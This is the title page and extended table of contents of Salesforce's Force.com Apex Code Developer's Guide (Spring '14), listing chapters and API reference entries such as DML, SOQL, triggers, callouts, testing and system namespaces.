Version 30.

0: Spring 14

Force.com Apex Code Developer's Guide

Last updated: February 24, 2014

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Table of Contents

Table of Contents
Getting Started....................................................................................................................................1 Chapter 1: Introduction...............................................................................................................1
Introducing Apex...........................................................................................................................................................2 What is Apex?...............................................................................................................................................................2 When Should I Use Apex?............................................................................................................................................4 How Does Apex Work?................................................................................................................................................5 Developing Code in the Cloud......................................................................................................................................5 What's New?.................................................................................................................................................................6 Understanding Apex Core Concepts.............................................................................................................................7

Chapter 2: Apex Development Process.......................................................................................12

What is the Apex Development Process?....................................................................................................................13 Using a Developer or Sandbox Organization..............................................................................................................13 Learning Apex.............................................................................................................................................................15 Writing Apex Using Development Environments......................................................................................................16 Writing Tests..............................................................................................................................................................17 Deploying Apex to a Sandbox Organization...............................................................................................................18 Deploying Apex to a Salesforce Production Organization..........................................................................................18 Adding Apex Code to a Force.com AppExchange App..............................................................................................18

Chapter 3: Apex Quick Start......................................................................................................20

Writing Your First Apex Class and Trigger................................................................................................................20 Creating a Custom Object...............................................................................................................................20 Adding an Apex Class.....................................................................................................................................21 Adding an Apex Trigger..................................................................................................................................22 Adding a Test Class.........................................................................................................................................23 Deploying Components to Production............................................................................................................25

Writing Apex.....................................................................................................................................26 Chapter 4: Data Types and Variables..........................................................................................26

Data Types..................................................................................................................................................................27 Primitive Data Types...................................................................................................................................................27 Collections...................................................................................................................................................................30 Lists.................................................................................................................................................................30 Sets..................................................................................................................................................................32 Maps................................................................................................................................................................33 Parameterized Typing......................................................................................................................................34 Enums.........................................................................................................................................................................35 Variables......................................................................................................................................................................36 Constants.....................................................................................................................................................................38 Expressions and Operators..........................................................................................................................................38 Understanding Expressions..............................................................................................................................39

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Understanding Expression Operators..............................................................................................................39 Understanding Operator Precedence...............................................................................................................45 Using Comments.............................................................................................................................................46 Assignment Statements...............................................................................................................................................46 Understanding Rules of Conversion............................................................................................................................47

Chapter 5: Control Flow Statements..........................................................................................49

Conditional (If-Else) Statements................................................................................................................................50 Loops...........................................................................................................................................................................50 Do-While Loops.............................................................................................................................................51 While Loops....................................................................................................................................................51 For Loops........................................................................................................................................................51

Chapter 6: Classes, Objects, and Interfaces.................................................................................54

Understanding Classes.................................................................................................................................................55 Apex Class Definition......................................................................................................................................55 Class Variables.................................................................................................................................................56 Class Methods.................................................................................................................................................57 Using Constructors..........................................................................................................................................59 Access Modifiers..............................................................................................................................................60 Static and Instance...........................................................................................................................................61 Apex Properties...............................................................................................................................................64 Extending a Class............................................................................................................................................66 Extended Class Example.................................................................................................................................68 Understanding Interfaces.............................................................................................................................................71 Custom Iterators..............................................................................................................................................72 Keywords.....................................................................................................................................................................74 Using the final Keyword..................................................................................................................................74 Using the instanceof Keyword.........................................................................................................................74 Using the super Keyword.................................................................................................................................75 Using the this Keyword...................................................................................................................................76 Using the transient Keyword...........................................................................................................................76 Using the with sharing or without sharing Keywords......................................................................................77 Annotations.................................................................................................................................................................78 Deprecated Annotation...................................................................................................................................79 Future Annotation...........................................................................................................................................79 IsTest Annotation............................................................................................................................................80 ReadOnly Annotation.....................................................................................................................................83 RemoteAction Annotation..............................................................................................................................83 TestVisible Annotation....................................................................................................................................84 Apex REST Annotations................................................................................................................................84 Classes and Casting.....................................................................................................................................................86 Classes and Collections....................................................................................................................................87 Collection Casting...........................................................................................................................................87 Differences Between Apex Classes and Java Classes...................................................................................................88

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Class Definition Creation............................................................................................................................................89 Naming Conventions.......................................................................................................................................90 Name Shadowing.............................................................................................................................................90 Namespace Prefix........................................................................................................................................................91 Using the System Namespace..........................................................................................................................91 Namespace, Class, and Variable Name Precedence.........................................................................................92 Type Resolution and System Namespace for Types........................................................................................93 Apex Code Versions....................................................................................................................................................93 Setting the Salesforce API Version for Classes and Triggers..........................................................................94 Setting Package Versions for Apex Classes and Triggers................................................................................95 Lists of Custom Types and Sorting.............................................................................................................................95 Using Custom Types in Map Keys and Sets...............................................................................................................95

Chapter 7: Working with Data in Apex.......................................................................................98

sObject Types..............................................................................................................................................................99 Accessing sObject Fields................................................................................................................................100 Validating sObjects and Fields ......................................................................................................................101 Adding and Retrieving Data......................................................................................................................................101 DML.........................................................................................................................................................................102 DML Statements vs. Database Class Methods.............................................................................................102 DML Operations As Atomic Transactions...................................................................................................103 How DML Works.........................................................................................................................................103 DML Operations...........................................................................................................................................104 DML Exceptions and Error Handling..........................................................................................................114 More About DML........................................................................................................................................115 Locking Records............................................................................................................................................128 SOQL and SOSL Queries........................................................................................................................................129 Working with SOQL and SOSL Query Results...........................................................................................130 Accessing sObject Fields Through Relationships..........................................................................................131 Understanding Foreign Key and Parent-Child Relationship SOQL Queries...............................................132 Working with SOQL Aggregate Functions..................................................................................................133 Working with Very Large SOQL Queries....................................................................................................133 Using SOQL Queries That Return One Record...........................................................................................136 Improving Performance by Not Searching on Null Values............................................................................136 Working with Polymorphic Relationships in SOQL Queries.......................................................................137 Using Apex Variables in SOQL and SOSL Queries.....................................................................................138 Querying All Records with a SOQL Statement............................................................................................139 SOQL For Loops......................................................................................................................................................139 SOQL For Loops Versus Standard SOQL Queries......................................................................................140 SOQL For Loop Formats.............................................................................................................................140 sObject Collections....................................................................................................................................................141 Lists of sObjects.............................................................................................................................................141 Sorting Lists of sObjects................................................................................................................................143 Expanding sObject and List Expressions.......................................................................................................146 Sets of Objects...............................................................................................................................................146 iii

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Maps of sObjects...........................................................................................................................................147 Dynamic Apex...........................................................................................................................................................148 Understanding Apex Describe Information...................................................................................................149 Using Field Tokens........................................................................................................................................151 Understanding Describe Information Permissions........................................................................................152 Describing sObjects Using Schema Method.................................................................................................152 Describing Tabs Using Schema Methods......................................................................................................153 Accessing All sObjects...................................................................................................................................154 Accessing All Data Categories Associated with an sObject...........................................................................155 Dynamic SOQL............................................................................................................................................159 Dynamic SOSL.............................................................................................................................................160 Dynamic DML..............................................................................................................................................161 Apex Security and Sharing........................................................................................................................................163 Enforcing Sharing Rules................................................................................................................................163 Enforcing Object and Field Permissions.......................................................................................................164 Class Security.................................................................................................................................................165 Understanding Apex Managed Sharing.........................................................................................................166 Security Tips for Apex and Visualforce Development...................................................................................177 Custom Settings........................................................................................................................................................183

Ways to Invoke Apex........................................................................................................................186 Chapter 8: Invoking Apex........................................................................................................186

Anonymous Blocks....................................................................................................................................................187 Triggers.....................................................................................................................................................................188 Bulk Triggers.................................................................................................................................................189 Trigger Syntax...............................................................................................................................................189 Trigger Context Variables.............................................................................................................................190 Context Variable Considerations...................................................................................................................192 Common Bulk Trigger Idioms......................................................................................................................193 Defining Triggers..........................................................................................................................................194 Triggers and Merge Statements.....................................................................................................................196 Triggers and Recovered Records....................................................................................................................196 Triggers and Order of Execution...................................................................................................................197 Operations that Don't Invoke Triggers.........................................................................................................199 Entity and Field Considerations in Triggers.................................................................................................200 Trigger Exceptions........................................................................................................................................201 Trigger and Bulk Request Best Practices.......................................................................................................202 Asynchronous Apex...................................................................................................................................................203 Future Methods.............................................................................................................................................203 Apex Scheduler..............................................................................................................................................205 Batch Apex....................................................................................................................................................211 Web Services.............................................................................................................................................................222 Exposing Apex Methods as SOAP Web Services.........................................................................................222 Exposing Apex Classes as REST Web Services............................................................................................224

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Apex Email Service....................................................................................................................................................233 Using the InboundEmail Object....................................................................................................................234 Visualforce Classes.....................................................................................................................................................235 Invoking Apex Using JavaScript................................................................................................................................236 JavaScript Remoting......................................................................................................................................236 Apex in AJAX................................................................................................................................................236

Chapter 9: Apex Transactions and Governor Limits..................................................................238

Apex Transactions.....................................................................................................................................................239 Understanding Execution Governors and Limits......................................................................................................240 Using Governor Limit Email Warnings....................................................................................................................246 Running Apex Within Governor Execution Limits..................................................................................................246

Chapter 10: Using Salesforce Features with Apex......................................................................249

Working with Chatter in Apex.................................................................................................................................250 Chatter in Apex Quick Start..........................................................................................................................251 Working with Feeds and Feed Items.............................................................................................................255 Using ConnectApi Input and Output Classes...............................................................................................260 Accessing ConnectApi Data in Communities and Portals............................................................................260 Understanding Limits for ConnectApi Classes.............................................................................................261 Serializing and Deserializing ConnectApi Obejcts........................................................................................261 ConnectApi Versioning and Equality Checking...........................................................................................261 Casting ConnectApi Objects.........................................................................................................................262 Wildcards.......................................................................................................................................................262 Testing ConnectApi Code.............................................................................................................................263 Differences Between ConnectApi Classes and Other Apex Classes..............................................................264 Approval Processing..................................................................................................................................................265 Apex Approval Processing Example..............................................................................................................265 Outbound Email........................................................................................................................................................266 Inbound Email...........................................................................................................................................................268 Knowledge Management...........................................................................................................................................269 Publisher Actions.......................................................................................................................................................269 Force.com Sites..........................................................................................................................................................270 Rewriting URLs for Force.com Sites.........................................................................................................................270 Support Classes..........................................................................................................................................................276 Visual Workflow........................................................................................................................................................277 Passing Data to a Flow Using the Process.Plugin Interface......................................................................................278 Implementing the Process.Plugin Interface...................................................................................................278 Using the Process.PluginRequest Class.........................................................................................................280 Using the Process.PluginResult Class............................................................................................................280 Using the Process.PluginDescribeResult Class..............................................................................................281 Process.Plugin Data Type Conversions.........................................................................................................283 Sample Process.Plugin Implementation for Lead Conversion.......................................................................283 Communities.............................................................................................................................................................289 Zones.........................................................................................................................................................................289

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Analytics API via Apex.............................................................................................................................................289 Requirements and Limitations......................................................................................................................290 Run Reports...................................................................................................................................................290 List Asynchronous Runs of a Report.............................................................................................................291 Get Report Metadata.....................................................................................................................................291 Get Report Data............................................................................................................................................292 Filter Reports.................................................................................................................................................293 Decode the Fact Map....................................................................................................................................294 Test Reports..................................................................................................................................................296

Chapter 11: Integration and Apex Utilities................................................................................298

Invoking Callouts Using Apex...................................................................................................................................299 Adding Remote Site Settings........................................................................................................................299 SOAP Services: Defining a Class from a WSDL Document........................................................................299 Invoking HTTP Callouts..............................................................................................................................311 Using Certificates..........................................................................................................................................318 Callout Limits and Limitations.....................................................................................................................320 JSON Support...........................................................................................................................................................321 Roundtrip Serialization and Deserialization..................................................................................................322 JSON Generator............................................................................................................................................324 JSON Parsing................................................................................................................................................325 XML Support............................................................................................................................................................327 Reading and Writing XML Using Streams...................................................................................................327 Reading and Writing XML Using the DOM...............................................................................................330 Securing Your Data...................................................................................................................................................333 Encoding Your Data..................................................................................................................................................335 Using Patterns and Matchers.....................................................................................................................................336 Using Regions................................................................................................................................................337 Using Match Operations...............................................................................................................................337 Using Bounds................................................................................................................................................338 Understanding Capturing Groups.................................................................................................................338 Pattern and Matcher Example.......................................................................................................................338

Finishing Touches............................................................................................................................340 Chapter 12: Debugging Apex...................................................................................................340

Understanding the Debug Log..................................................................................................................................341 Working with Logs in the Developer Console..............................................................................................345 Debugging Apex API Calls...........................................................................................................................354 Exceptions in Apex....................................................................................................................................................355 Exception Statements....................................................................................................................................356 Exception Handling Example........................................................................................................................357 Built-In Exceptions and Common Methods.................................................................................................359 Catching Different Exception Types.............................................................................................................363 Creating Custom Exceptions.........................................................................................................................364

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Chapter 13: Testing Apex.........................................................................................................367

Understanding Testing in Apex.................................................................................................................................368 What to Test in Apex................................................................................................................................................368 What are Apex Unit Tests?.......................................................................................................................................369 Accessing Private Test Class Members..........................................................................................................371 Understanding Test Data..........................................................................................................................................373 Isolation of Test Data from Organization Data in Unit Tests......................................................................373 Using the isTest(SeeAllData=true) Annotation.............................................................................................375 Loading Test Data.........................................................................................................................................376 Common Test Utility Classes for Test Data Creation..................................................................................377 Running Unit Test Methods.....................................................................................................................................378 Using the runAs Method...............................................................................................................................381 Using Limits, startTest, and stopTest...........................................................................................................382 Adding SOSL Queries to Unit Tests............................................................................................................383 Testing Best Practices................................................................................................................................................383 Testing Example........................................................................................................................................................385

Chapter 14: Deploying Apex....................................................................................................390

Using Change Sets To Deploy Apex.........................................................................................................................391 Using the Force.com IDE to Deploy Apex...............................................................................................................391 Using the Force.com Migration Tool........................................................................................................................391 Understanding deploy....................................................................................................................................393 Understanding retrieveCode..........................................................................................................................394 Understanding runTests()..............................................................................................................................396 Using SOAP API to Deploy Apex............................................................................................................................396

Chapter 15: Distributing Apex Using Managed Packages...........................................................397

What is a Package?....................................................................................................................................................398 Package Versions.......................................................................................................................................................398 Deprecating Apex......................................................................................................................................................398 Behavior in Package Versions....................................................................................................................................399 Versioning Apex Code Behavior....................................................................................................................399 Apex Code Items that Are Not Versioned....................................................................................................400 Testing Behavior in Package Versions...........................................................................................................400

Chapter 16: Reference.......................................................................................................................403

DML Operations..................................................................................................................................................................404 ApexPages Namespace..........................................................................................................................................................408 Action Class..............................................................................................................................................................409 Action Constructors.......................................................................................................................................410 Action Methods.............................................................................................................................................410 Component Class......................................................................................................................................................411 Dynamic Component Properties...................................................................................................................411 IdeaStandardController Class....................................................................................................................................413 IdeaStandardController Methods..................................................................................................................414 vii

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IdeaStandardSetController Class...............................................................................................................................415 IdeaStandardSetController Methods.............................................................................................................417 KnowledgeArticleVersionStandardController Class.................................................................................................418 KnowledgeArticleVersionStandardController Constructors.........................................................................420 KnowledgeArticleVersionStandardController Methods................................................................................420 Message Class............................................................................................................................................................421 Message Constructors....................................................................................................................................422 Message Methods..........................................................................................................................................423 StandardController Class..........................................................................................................................................424 StandardController Constructors...................................................................................................................425 StandardController Methods.........................................................................................................................426 StandardSetController Class.....................................................................................................................................429 StandardSetController Constructors.............................................................................................................430 StandardSetController Methods....................................................................................................................431 Approval Namespace.............................................................................................................................................................437 ProcessRequest Class.................................................................................................................................................438 ProcessRequest Methods...............................................................................................................................438 ProcessResult Class...................................................................................................................................................439 ProcessResult Methods..................................................................................................................................440 ProcessSubmitRequest Class.....................................................................................................................................441 ProcessSubmitRequest Methods...................................................................................................................442 ProcessWorkitemRequest Class................................................................................................................................443 ProcessWorkitemRequest Methods...............................................................................................................443 Auth Namespace...................................................................................................................................................................444 AuthToken Class.......................................................................................................................................................445 AuthToken Methods.....................................................................................................................................445 RegistrationHandler Interface...................................................................................................................................447 RegistrationHandler Methods.......................................................................................................................447 Storing User Information and Getting Access Tokens..................................................................................448 Auth.RegistrationHandler Example Implementation...................................................................................449 UserData Class..........................................................................................................................................................450 UserData Constructors..................................................................................................................................451 UserData Properties.......................................................................................................................................452 ChatterAnswers Namespace..................................................................................................................................................455 AccountCreator Interface..........................................................................................................................................455 AccountCreator Methods..............................................................................................................................456 AccountCreator Example Implementation....................................................................................................457 ConnectApi Namespace........................................................................................................................................................457 Chatter Class.............................................................................................................................................................459 Chatter Methods...........................................................................................................................................459 ChatterFavorites Class...............................................................................................................................................461 ChatterFavorites Methods.............................................................................................................................462 ChatterFeeds Class....................................................................................................................................................473 ChatterFeeds Methods..................................................................................................................................473

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ChatterGroups Class.................................................................................................................................................575 ChatterGroups Methods...............................................................................................................................575 ChatterMessages Class..............................................................................................................................................599 ChatterMessages Methods............................................................................................................................600 ChatterUsers Class....................................................................................................................................................620 ChatterUsers Methods...................................................................................................................................620 Communities Class....................................................................................................................................................642 Communities Methods..................................................................................................................................642 CommunityModeration Class...................................................................................................................................643 CommunityModeration Methods.................................................................................................................644 Organization Class....................................................................................................................................................650 Organization Methods...................................................................................................................................650 Mentions Class..........................................................................................................................................................651 Mentions Methods........................................................................................................................................651 RecordDetails Class...................................................................................................................................................656 RecordDetails Methods.................................................................................................................................657 Records Class.............................................................................................................................................................659 Records Methods...........................................................................................................................................660 Topics Class...............................................................................................................................................................660 Topics Methods.............................................................................................................................................661 UserProfiles Class......................................................................................................................................................686 UserProfiles Methods....................................................................................................................................686 Zones Class...............................................................................................................................................................687 Zones Methods..............................................................................................................................................687 ConnectApi Input Classes.........................................................................................................................................693 ConnectApi Output Classes......................................................................................................................................699 ConnectApi Enums...................................................................................................................................................747 ConnectApi Exceptions.............................................................................................................................................755 Database Namespace.............................................................................................................................................................755 Batchable Interface....................................................................................................................................................756 Batchable Methods........................................................................................................................................757 BatchableContext Interface.......................................................................................................................................758 BatchableContext Methods...........................................................................................................................759 DeletedRecord Class.................................................................................................................................................759 DeletedRecord Methods................................................................................................................................760 DeleteResult Class.....................................................................................................................................................760 DeleteResult Methods...................................................................................................................................761 DMLOptions Class...................................................................................................................................................762 DmlOptions Properties.................................................................................................................................762 DmlOptions.AssignmentRuleHeader Class..............................................................................................................764 DmlOptions.AssignmentRuleHeader Properties..........................................................................................765 DmlOptions.EmailHeader Class...............................................................................................................................766 DmlOptions.EmailHeader Properties...........................................................................................................766 EmptyRecycleBinResult Class...................................................................................................................................768

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EmptyRecycleBinResult Methods.................................................................................................................768 Error Class.................................................................................................................................................................769 Error Methods...............................................................................................................................................769 GetDeletedResult Class.............................................................................................................................................770 GetDeletedResult Methods...........................................................................................................................770 GetUpdatedResult Class...........................................................................................................................................771 GetUpdatedResult Methods..........................................................................................................................772 LeadConvert Class....................................................................................................................................................772 LeadConvert Constructors............................................................................................................................773 LeadConvert Methods...................................................................................................................................773 LeadConvertResult Class..........................................................................................................................................780 LeadConvertResult Methods.........................................................................................................................780 MergeResult Class.....................................................................................................................................................782 MergeResult Methods...................................................................................................................................782 QueryLocator Class...................................................................................................................................................783 QueryLocator Methods.................................................................................................................................784 QueryLocatorIterator Class.......................................................................................................................................785 QueryLocatorIterator Methods.....................................................................................................................785 SaveResult Class........................................................................................................................................................786 SaveResult Methods......................................................................................................................................787 UndeleteResult Class.................................................................................................................................................788 UndeleteResult Methods...............................................................................................................................788 UpsertResult Class.....................................................................................................................................................789 UpsertResult Methods...................................................................................................................................789 Dom Namespace...................................................................................................................................................................790 Document Class........................................................................................................................................................791 Document Constructors................................................................................................................................791 Document Methods.......................................................................................................................................791 XmlNode Class..........................................................................................................................................................793 XmlNode Methods........................................................................................................................................793 Flow Namespace....................................................................................................................................................................802 Interview Class..........................................................................................................................................................802 Interview Methods.........................................................................................................................................803 KbManagement Namespace..................................................................................................................................................804 PublishingService Class.............................................................................................................................................804 PublishingService Methods...........................................................................................................................804 Messaging Namespace...........................................................................................................................................................814 Email Class (Base Email Methods)...........................................................................................................................815 Email Methods..............................................................................................................................................816 EmailFileAttachment Class.......................................................................................................................................818 EmailFileAttachment Constructors...............................................................................................................818 EmailFileAttachment Methods.....................................................................................................................819 InboundEmail Class..................................................................................................................................................820 InboundEmail Constructors..........................................................................................................................821

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InboundEmail Properties...............................................................................................................................821 InboundEmail.BinaryAttachment Class....................................................................................................................826 InboundEmail.BinaryAttachment Constructors............................................................................................826 InboundEmail.BinaryAttachment Properties................................................................................................826 InboundEmail.TextAttachment Class.......................................................................................................................827 InboundEmail.TextAttachment Constructors...............................................................................................828 InboundEmail.TextAttachment Properties...................................................................................................828 InboundEmailResult Class........................................................................................................................................829 InboundEmailResult Properties.....................................................................................................................830 InboundEnvelope Class.............................................................................................................................................830 InboundEnvelope Properties.........................................................................................................................830 MassEmailMessage Class..........................................................................................................................................831 MassEmailMessage Constructors..................................................................................................................831 MassEmailMessage Methods........................................................................................................................832 InboundEmail.Header Class.....................................................................................................................................834 InboundEmail.Header Properties..................................................................................................................834 SendEmailError Class...............................................................................................................................................834 SendEmailError Methods.............................................................................................................................835 SendEmailResult Class..............................................................................................................................................836 SendEmailResult Methods............................................................................................................................836 SingleEmailMessage Methods..................................................................................................................................837 SingleEmailMessage Constructors................................................................................................................837 SingleEmailMessage Methods.......................................................................................................................837 Process Namespace................................................................................................................................................................844 Plugin Interface.........................................................................................................................................................845 Plugin Methods.............................................................................................................................................845 Plugin Example Implementation...................................................................................................................846 PluginDescribeResult Class.......................................................................................................................................847 PluginDescribeResult Constructors...............................................................................................................847 PluginDescribeResult Properties...................................................................................................................847 PluginDescribeResult.InputParameter Class.............................................................................................................849 PluginDescribeResult.InputParameter Constructors.....................................................................................849 PluginDescribeResult.InputParameter Properties.........................................................................................850 PluginDescribeResult.OutputParameter Class..........................................................................................................852 PluginDescribeResult.OutputParameter Constructors..................................................................................852 PluginDescribeResult.OutputParameter Properties......................................................................................853 PluginRequest Class..................................................................................................................................................854 PluginRequest Properties...............................................................................................................................854 PluginResult Class.....................................................................................................................................................855 PluginResult Properties.................................................................................................................................855 QuickAction Namespace.......................................................................................................................................................855 DescribeAvailableQuickActionResult Class..............................................................................................................856 DescribeAvailableQuickActionResult Methods............................................................................................856 DescribeLayoutComponent Class.............................................................................................................................857

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DescribeLayoutComponent Methods...........................................................................................................857 DescribeLayoutItem Class.........................................................................................................................................858 DescribeLayoutItem Methods.......................................................................................................................859 DescribeLayoutRow Class.........................................................................................................................................860 DescribeLayoutRow Methods.......................................................................................................................861 DescribeLayoutSection Class....................................................................................................................................861 DescribeLayoutSection Methods...................................................................................................................861 DescribeQuickActionDefaultValue Class..................................................................................................................863 DescribeQuickActionDefaultValue Methods................................................................................................863 DescribeQuickActionResult Class.............................................................................................................................864 DescribeQuickActionResult Methods...........................................................................................................864 QuickActionRequest Class........................................................................................................................................869 QuickActionRequest Constructors................................................................................................................870 QuickActionRequest Methods......................................................................................................................870 QuickActionResult Class...........................................................................................................................................872 QuickActionResult Methods.........................................................................................................................872 Reports Namespace...............................................................................................................................................................874 AggregateColumn Class............................................................................................................................................875 AggregateColumn Methods..........................................................................................................................876 ColumnDataType Enum...........................................................................................................................................877 ColumnSortOrder Enum..........................................................................................................................................878 DateGranularity Enum..............................................................................................................................................878 DetailColumn Class..................................................................................................................................................879 DetailColumn Instance Methods..................................................................................................................879 Dimension Class........................................................................................................................................................880 Dimension Methods......................................................................................................................................880 FilterOperator Class..................................................................................................................................................881 FilterOperator Methods................................................................................................................................881 FilterValue Class........................................................................................................................................................882 FilterValue Methods......................................................................................................................................882 GroupingColumn Class.............................................................................................................................................883 GroupingColumn Methods...........................................................................................................................883 GroupingInfo Class...................................................................................................................................................884 GroupingInfo Methods.................................................................................................................................884 GroupingValue Class.................................................................................................................................................885 GroupingValue Methods...............................................................................................................................885 ReportCurrency Class................................................................................................................................................887 ReportCurrency Methods..............................................................................................................................887 ReportDataCell Class................................................................................................................................................888 ReportDataCell Methods..............................................................................................................................888 ReportDescribeResult Class......................................................................................................................................889 ReportDescribeResult Methods.....................................................................................................................889 ReportDetailRow Class.............................................................................................................................................890 ReportDetailRow Methods...........................................................................................................................890

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ReportExtendedMetadata Class................................................................................................................................890 ReportExtendedMetadata Methods..............................................................................................................890 ReportFact Class.......................................................................................................................................................891 ReportFact Methods......................................................................................................................................892 ReportFactWithDetails Class....................................................................................................................................892 ReportFactWithDetails Methods..................................................................................................................893 ReportFilter Class......................................................................................................................................................893 ReportFilter Constructors..............................................................................................................................894 ReportFilter Methods....................................................................................................................................894 ReportFormat Enum.................................................................................................................................................896 ReportInstance Class.................................................................................................................................................897 ReportInstance Methods...............................................................................................................................897 ReportManager Class................................................................................................................................................899 ReportManager Methods..............................................................................................................................899 ReportMetadata Class...............................................................................................................................................904 ReportMetadata Methods..............................................................................................................................905 ReportResults Class...................................................................................................................................................910 ReportResults Methods.................................................................................................................................910 ReportType Class......................................................................................................................................................912 ReportType Methods....................................................................................................................................912 ReportTypeColumn Class.........................................................................................................................................913 ReportTypeColumn Methods.......................................................................................................................913 ReportTypeColumnCategory Class...........................................................................................................................915 ReportTypeColumnCategory Methods.........................................................................................................915 ReportTypeMetadata Class.......................................................................................................................................916 ReportTypeMetadata Methods.....................................................................................................................916 SummaryValue Class.................................................................................................................................................916 SummaryValue Methods...............................................................................................................................916 Reports Exceptions....................................................................................................................................................917 Schema Namespace...............................................................................................................................................................917 ChildRelationship Class............................................................................................................................................919 ChildRelationship Methods..........................................................................................................................919 DataCategory Class...................................................................................................................................................921 DataCategory Methods.................................................................................................................................921 DataCategoryGroupSobjectTypePair Class..............................................................................................................922 DataCategoryGroupSobjectTypePair Constructors......................................................................................922 DataCategoryGroupSobjectTypePair Methods.............................................................................................923 DescribeColorResult Class........................................................................................................................................924 DescribeColorResult Methods......................................................................................................................925 DescribeDataCategoryGroupResult Class................................................................................................................926 DescribeDataCategoryGroupResult Methods...............................................................................................926 DescribeDataCategoryGroupStructureResult Class..................................................................................................928 DescribeDataCategoryGroupStructureResult Methods................................................................................928 DescribeFieldResult Class.........................................................................................................................................930

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DescribeFieldResult Methods.......................................................................................................................930 DescribeIconResult Class..........................................................................................................................................943 DescribeIconResult Methods........................................................................................................................944 DescribeSObjectResult Class....................................................................................................................................945 DescribeSObjectResult Methods...................................................................................................................946 DescribeTabResult Class...........................................................................................................................................953 DescribeTabResult Methods.........................................................................................................................954 DescribeTabSetResult Class......................................................................................................................................956 DescribeTabSetResult Methods....................................................................................................................957 DisplayType Enum....................................................................................................................................................958 FieldSet Class............................................................................................................................................................959 FieldSet Methods..........................................................................................................................................961 FieldSetMember Class..............................................................................................................................................963 FieldSetMember Methods.............................................................................................................................963 PicklistEntry Class.....................................................................................................................................................965 PicklistEntry Methods...................................................................................................................................965 RecordTypeInfo Class...............................................................................................................................................966 RecordTypeInfo Methods.............................................................................................................................967 SOAPType Enum.....................................................................................................................................................968 SObjectField Class....................................................................................................................................................969 sObjectField Methods...................................................................................................................................969 SObjectType Class....................................................................................................................................................969 SObjectType Methods...................................................................................................................................970 Site Namespace.....................................................................................................................................................................972 UrlRewriter Interface.................................................................................................................................................972 UrlRewriter Methods.....................................................................................................................................972 Support Namespace...............................................................................................................................................................973 EmailTemplateSelector Interface..............................................................................................................................974 EmailTemplateSelector Methods..................................................................................................................974 EmailTemplateSelector Example Implementation........................................................................................975 MilestoneTriggerTimeCalculator Interface...............................................................................................................976 MilestoneTriggerTimeCalculator Methods...................................................................................................976 MilestoneTriggerTimeCalculator Example Implementation........................................................................977 System Namespace................................................................................................................................................................977 Answers Class............................................................................................................................................................982 Answers Methods..........................................................................................................................................982 ApexPages Class........................................................................................................................................................983 ApexPages Methods......................................................................................................................................984 Approval Class...........................................................................................................................................................986 Approval Methods.........................................................................................................................................986 Blob Class..................................................................................................................................................................988 Blob Methods................................................................................................................................................988 Boolean Class............................................................................................................................................................990 Boolean Methods...........................................................................................................................................990

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BusinessHours Class..................................................................................................................................................992 BusinessHours Methods................................................................................................................................992 Cases Class................................................................................................................................................................995 Cases Methods...............................................................................................................................................995 Comparable Interface................................................................................................................................................996 Comparable Methods....................................................................................................................................996 Comparable Example Implementation..........................................................................................................997 Cookie Class..............................................................................................................................................................998 Cookie Constructors......................................................................................................................................999 Cookie Methods..........................................................................................................................................1000 Crypto Class............................................................................................................................................................1002 Crypto Methods..........................................................................................................................................1003 Custom Settings Methods.......................................................................................................................................1009 List Custom Setting Methods.....................................................................................................................1014 Hierarchy Custom Setting Methods............................................................................................................1015 Database Class.........................................................................................................................................................1019 Database Methods.......................................................................................................................................1019 Date Class................................................................................................................................................................1045 Date Methods..............................................................................................................................................1046 Datetime Methods...................................................................................................................................................1054 Datetime Methods.......................................................................................................................................1054 Decimal Class..........................................................................................................................................................1072 Rounding Mode...........................................................................................................................................1073 Decimal Methods........................................................................................................................................1074 Double Class............................................................................................................................................................1083 Double Methods..........................................................................................................................................1083 EncodingUtil Class..................................................................................................................................................1086 EncodingUtil Methods................................................................................................................................1086 Enum Methods........................................................................................................................................................1089 Exception Class and Built-In Exceptions................................................................................................................1090 Http Class................................................................................................................................................................1092 Http Methods..............................................................................................................................................1093 HttpCalloutMock Interface.....................................................................................................................................1093 HttpCalloutMock Methods.........................................................................................................................1094 HttpRequest Class...................................................................................................................................................1094 HttpRequest Constructors...........................................................................................................................1095 HttpRequest Methods.................................................................................................................................1095 HttpResponse Class.................................................................................................................................................1103 HttpResponse Methods...............................................................................................................................1103 Id Class....................................................................................................................................................................1108 Id Methods..................................................................................................................................................1109 Ideas Class...............................................................................................................................................................1113 Ideas Methods.............................................................................................................................................1115 InstallHandler Interface...........................................................................................................................................1117

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InstallHandler Methods...............................................................................................................................1118 InstallHandler Example Implementation....................................................................................................1119 Integer Class............................................................................................................................................................1120 Integer Methods..........................................................................................................................................1120 JSON Class..............................................................................................................................................................1122 JSON Methods............................................................................................................................................1122 JSONGenerator Class.............................................................................................................................................1127 JSONGenerator Methods............................................................................................................................1127 JSONParser Class....................................................................................................................................................1139 JSONParser Methods..................................................................................................................................1139 JSONToken Enum..................................................................................................................................................1150 Limits Class.............................................................................................................................................................1151 Limits Methods...........................................................................................................................................1151 List Class.................................................................................................................................................................1164 List Constructors.........................................................................................................................................1164 List Methods...............................................................................................................................................1166 Long Class...............................................................................................................................................................1177 Long Methods.............................................................................................................................................1177 Map Class................................................................................................................................................................1178 Map Constructors........................................................................................................................................1178 Map Methods..............................................................................................................................................1180 Matcher Class..........................................................................................................................................................1189 Matcher Methods........................................................................................................................................1189 Math Class..............................................................................................................................................................1200 Math Methods.............................................................................................................................................1200 Messaging Class......................................................................................................................................................1223 Messaging Methods.....................................................................................................................................1223 MultiStaticResourceCalloutMock Class..................................................................................................................1226 MultiStaticResourceCalloutMock Constructors..........................................................................................1226 MultiStaticResourceCalloutMock Methods................................................................................................1227 Network Class.........................................................................................................................................................1228 Network Constructors.................................................................................................................................1229 Network Methods........................................................................................................................................1229 PageReference Class................................................................................................................................................1230 PageReference Constructors........................................................................................................................1233 PageReference Methods..............................................................................................................................1234 Pattern Class............................................................................................................................................................1239 Pattern Methods..........................................................................................................................................1239 QuickAction Class...................................................................................................................................................1242 QuickAction Methods.................................................................................................................................1243 ResetPasswordResult Class......................................................................................................................................1246 ResetPasswordResult Methods....................................................................................................................1246 RestContext Class...................................................................................................................................................1247 RestContext Properties................................................................................................................................1247

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Table of Contents

